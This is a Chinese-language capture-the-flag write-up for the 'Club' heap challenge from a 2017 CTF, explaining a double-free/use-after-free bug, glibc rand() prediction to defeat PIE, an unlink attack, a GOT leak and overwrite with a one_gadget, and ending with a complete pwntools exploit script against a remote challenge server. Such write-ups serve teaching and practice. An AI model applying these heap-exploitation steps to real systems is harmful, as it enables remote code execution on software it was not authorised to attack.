程序流程分析
一个非常经典的文本管理,可以分配和管理空间,并向空间中写入文本。
另外,附带一个猜随机数的小游戏,猜对了可以获取随机种子(的地址)。
// 此程序中这两个是相等的
漏洞分析
在删除已有的box时free掉了box指向的堆地址,但未将指针本身清零,故存在Double Free和Use After Free漏洞。
第一步:取得程序地址偏移量
程序开启了全局PIE,地址完全随机,故必须先取得程序基地址。
分析程序,发现之前的猜随机数小游戏猜对了可以输出随机种子的地址,而本题中的随机种子为一个data段的全局变量,相对程序基址的偏移已知,故可以通过获取这个地址来获取程序基址。
关于Glibc的rand函数,查阅以下文章:
http://www.mscs.dal.ca/~selinger/random/
rand函数的一个简单复现:
#include <stdio.h>
#define MAX 1000
#define seed 1
main() {
int r[MAX];
int i;
r[0] = seed;
for (i=1; i<31; i++) {
r[i] = (16807LL * r[i-1]) % 2147483647;
if (r[i] < 0) {
r[i] += 2147483647;
}
}
for (i=31; i<34; i++) {
r[i] = r[i-31];
}
for (i=34; i<344; i++) {
r[i] = r[i-31] + r[i-3];
}
for (i=344; i<MAX; i++) {
r[i] = r[i-31] + r[i-3];
printf("%d\n", ((unsigned int)r[i]) >> 1);
}
}
由此可知,在一个确定的随机种子下的序列中,下一个随机数的生成公式为:
randlist[l] = (randlist[l-3]+randlist[l-31]) % 2147483648
而在此程序中,若猜错随机数,则会输出正确的随机数,故可以通过故意猜错来获取足够长的随机数序列,从而预测下一个随机数的值。
猜到了正确的随机数后,获取到了seed变量的真实地址,减去偏移量0x202148,即得到了程序的基地址。
def guessRandomNumber():
print "[+] Gathering random sequence......"
randlist = []
for i in range(50):
p.recvuntil('>')
p.sendline('5')
p.recvuntil('>')
p.sendline('-1')
p.recvuntil('Wr0ng answer!The number is ')
num = p.recvuntil('!')[:-1]
randlist.append(int(num))
print "[+] Calculating the next random number......"
l = len(randlist)
randnum = (randlist[l-3]+randlist[l-31]) % 2147483648
print "[*] Got the next random number: %d" % randnum
return randnum
def getPIEAddress(num):
print "[+] Getting the base address......"
p.recvuntil('>')
p.sendline('5')
p.recvuntil('>')
p.sendline(str(num))
p.recvuntil('G00dj0b!You get a secret: ')
addr = p.recvuntil('!')[:-1]
addr = int(addr) - 0x202148
print "[*] Got the PIE offset: 0x%x" % addr
return addr
第二步:布置堆块,通过Double Free漏洞触发unlink宏获取指向指针列表的指针
关于unlink的原理可以参见以下文章
http://blog.csdn.net/qq_29343201/article/details/53558216
这个程序对堆块的大小有一个限制,从上到下的几个box,后一个比前一个必须大16以上,且大小控制在8 - 0x1000范围内。
另一个限制是,能够free的指针只有第二个和第三个box。
为了使堆块连续分配,需要控制堆块的大小在同一个bin范围内,这里选择small bin范围。
先分配第二个和第三个box两个堆块,这里选择的大小为128和144,然后再free第二块和第三块(此时指针仍然存在)。此时堆中的布局如下:
--------------
| prev_size |
--------------
| size |
ptr2-> --------------
| fd |
--------------
| bk |
--------------
| |
| (128 - 16 |
| bytes) |
--------------
| prev_size |
--------------
| size |
ptr3-> --------------
| |
|(144 bytes) |
| |
| |
--------------
再分配第四个box,大小为(128 + 144 + 16),为了将box2和box3的空间恰好完全覆盖
为了触发unlink宏,需要通过检验:
(p -> fd) -> bk == p
(p -> bk) -> fd == p
故选取data段box2指针向前偏移0x18作为伪fd,向前0x10作为伪bk
(对应的为指针list - 0x8, 指针list - 0x0)
通过box4的指针去修改堆里的内容,现在堆里的布局如下:
--------------
| prev_size |
--------------
| size |
ptr2-> -------------- <-ptr4
|fakeprevsize|
--------------
| fake_size |
--------------
| fake_fd |
--------------
| fake_bk |
--------------
| (128 - 32 |
| bytes) |
--------------
|fakeprevsize|
--------------
| fake_size |
ptr3-> --------------
| |
|(144 bytes) |
| |
| |
--------------
free box3指针,成功,触发unlink,现在box2指针的值已经被修改为了指向指针列表 - 0x8的位置。
第三步:通过修改指针的值泄露GOT表的信息从而计算libc的基址
现在指针列表已经可控了,可以将没有用到的box1的指针修改为指向GOT表上地址的指针。
由于程序限制了必须先分配才可查看的设定,在修改之前先分配一个小一点的box1,这里大小为112.
通过box2指针来编辑指针列表,这里将box1的指针修改为GOT表上“free”函数的地址。(也可以是其他函数,但一定是要之前执行过的函数,由于延迟绑定,执行过的GOT表中才会存放真实地址)
使用程序自带的show message功能查看box1中存放的内容,由于box1已被修改,故实际查看的是GOT表中free函数的地址。获取地址之后根据题目所给的libc文件,可以算出libc的基址。
第四步:通过修改GOT表实现控制流劫持从而get shell
由one_gadget工具,根据提供的libc,可以得到几个能够get shell的偏移,经测试选取0xf0274这个偏移。通过之前获取的libc基址可以算出one gadget RCE的真实地址。
通过再次修改box1指针指向的值(此时已经指向GOT表),将“puts”函数的GOT表修改为one gadget RCE的地址。(因为两根能free的指针一根被修改了,另一根已经过double free,为了避免不必要的麻烦,不选择free函数的GOT表)
控制程序任意puts一个字符串,触发one gadget RCE,获得shell。
exp.py
from pwn import *
context(arch = "amd64", os = "linux")
#p = process('./club', env = {'LD_PRELOAD': './libc.so.6'})
p = remote('123.206.22.95', 8888)
elf = ELF('./club')
libc = ELF('./libc.so.6')
def guessRandomNumber():
print "[+] Gathering random sequence......"
randlist = []
for i in range(50):
p.recvuntil('>')
p.sendline('5')
p.recvuntil('>')
p.sendline('-1')
p.recvuntil('Wr0ng answer!The number is ')
num = p.recvuntil('!')[:-1]
randlist.append(int(num))
print "[+] Calculating the next random number......"
l = len(randlist)
randnum = (randlist[l-3]+randlist[l-31]) % 2147483648
print "[*] Got the next random number: %d" % randnum
return randnum
def getPIEAddress(num):
print "[+] Getting the base address......"
p.recvuntil('>')
p.sendline('5')
p.recvuntil('>')
p.sendline(str(num))
p.recvuntil('G00dj0b!You get a secret: ')
addr = p.recvuntil('!')[:-1]
addr = int(addr) - 0x202148
print "[*] Got the PIE offset: 0x%x" % addr
return addr
print "[*] Pediy CTF 2017 - Pwn - Club"
print "[*] Exploit by acdxvfsvd"
print "[+] Bypassing the PIE......"
num = guessRandomNumber()
pieoffset = getPIEAddress(num)
buf_list = pieoffset + 0x202100
print "[+] Allocating the heap......"
def allocate(index, length):
p.recvuntil('>')
p.sendline('1')
p.recvuntil('>')
p.sendline(str(index))
p.recvuntil('>')
p.sendline(str(length))
def destroy(index):
p.recvuntil('>')
p.sendline('2')
p.recvuntil('>')
p.sendline(str(index))
def edit(index, buf):
p.recvuntil('>')
p.sendline('3')
p.recvuntil('>')
p.sendline(str(index))
p.recv()
p.sendline(buf)
def getmessage(index):
p.recvuntil('>')
p.sendline('4')
p.recvuntil('>')
p.sendline(str(index))
data = p.recvline()[1:-1]
return data
#allocate(1, 112)
allocate(2, 128)
edit(2, 'B' * 128)
allocate(3, 144)
edit(3, 'C' * 144)
destroy(2)
destroy(3)
allocate(4, 144 + 128 + 16)
print "[+] Filling heap chunks with payload......"
fd = buf_list - 0x8
bk = buf_list - 0x0
fake_chunk = ''
fake_chunk += p64(0) + p64(129) + p64(fd) + p64(bk) + 'a' * (128 - 8 * 4)
fake_chunk += p64(128) + p64(160) + 'A' * 144
edit(4, fake_chunk)
print "[+] Triggering the unlink macro......"
destroy(3)
print "[*] Got the unlinked pointer"
print "[+] Overwriting the chunk list......"
allocate(1, 112)
fake_list = ''
#fake_list += p64(0) * 2
fake_list += p64(pieoffset + elf.got['free']) * 3
edit(2, fake_list)
print "[+] Leaking the address of libc......"
free_addr = u64(getmessage(1).ljust(8, '\x00'))
print "[*] Got the address of free: 0x%x" % free_addr
libc_addr = free_addr - libc.symbols['free']
print "[*] Got the address of libc: 0x%x" % libc_addr
print "[+] Overwriting the global offset table......"
one_offset = 0xf0274
one_addr = libc_addr + one_offset
fake_got = p64(one_addr) * 3
edit(1, fake_got)
print "[*] Now the function puts points to the one gadget RCE"
print "[+] Triggering the RCE......"
print "[*] Got a shell!"
p.interactive()
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界